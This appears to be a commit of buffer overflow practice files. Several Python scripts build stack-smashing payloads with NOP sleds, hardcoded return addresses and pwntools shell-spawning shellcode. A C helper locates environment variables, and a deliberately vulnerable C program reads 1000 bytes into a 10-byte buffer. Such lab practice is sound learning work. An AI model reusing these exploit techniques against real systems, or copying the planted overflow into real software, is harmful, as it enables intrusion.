Added practice

Author: meharehsaan

practical/exploit1.py

@@ -0,0 +1,4 @@
+buf = ""
+buf += "A"*1000
+file = open('payload', "w")
+file.write(buf); 

practical/exploit2.py

@@ -0,0 +1,9 @@
+from struct import *
+
+buf = b""
+buf += b"A"*22
+buf += pack("<Q", 0x00005555555551e7)
+buf += b"A"*70
+
+file = open("payload2", "wb")
+file.write(buf)

practical/exploit3.py

@@ -0,0 +1,19 @@
+#!/usr/bin/env python
+
+from struct import *
+from pwn import *
+
+context.arch = "amd64"
+context.os = "linux"
+shellcode = asm(shellcraft.sh())
+
+addr = struct.pack("<Q", 0x7fffffffdce0)
+buf = b''
+buf += b'\x90'*22
+buf += addr
+buf += b'\x90'*8
+buf += shellcode
+
+file = open("payload3", "wb")
+file.write(buf)
+

practical/exploit4.py

@@ -0,0 +1,19 @@
+#!/usr/bin/env python
+
+from struct import *
+from pwn import *
+
+context.arch = "amd64"
+context.os = "linux"
+shellcode = asm(shellcraft.sh())
+
+addr = struct.pack("<Q", 0x7fffffffdde0)
+buf = b''
+buf += b'\x90'*22
+buf += addr
+buf += b'\x90'*200
+buf += shellcode
+
+file = open("payload4", "wb")
+file.write(buf)
+

practical/exploit5.py

@@ -0,0 +1,19 @@
+#!/usr/bin/env python
+
+from struct import *
+from pwn import *
+
+# context.arch = "amd64"
+# context.os = "linux"
+# shellcode = asm(shellcraft.sh())
+
+addr = struct.pack("<Q", 0x7fffffffecab)
+buf = b''
+buf += b'\x90'*22
+buf += addr
+buf += b'\x90'*200
+# buf += shellcode
+
+file = open("payload5", "wb")
+file.write(buf)
+

practical/getenv.c

@@ -0,0 +1,14 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+//getting environmental variable address
+
+int main(int argc, char *argv[]) {
+	if(argc != 2 ) {
+		printf("Must give the env variable name\n");
+		exit(0);
+	}
+	char* ptr = getenv(argv[1]); // get env var address on stack
+	printf("Addr of %s is: %p\n", argv[1], ptr);
+}

practical/virus.c

@@ -0,0 +1,23 @@
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+int getinput()
+{
+    char buf[10];
+    int rv = read(0, buf, 1000);
+    printf("NUmber of bytes read are %d\n", rv);
+    return 0;
+}
+
+int main()
+{
+    getinput();
+    return 0;
+}
+
+int virus()
+{
+    printf("Hacking Earth");
+    exit(0);
+}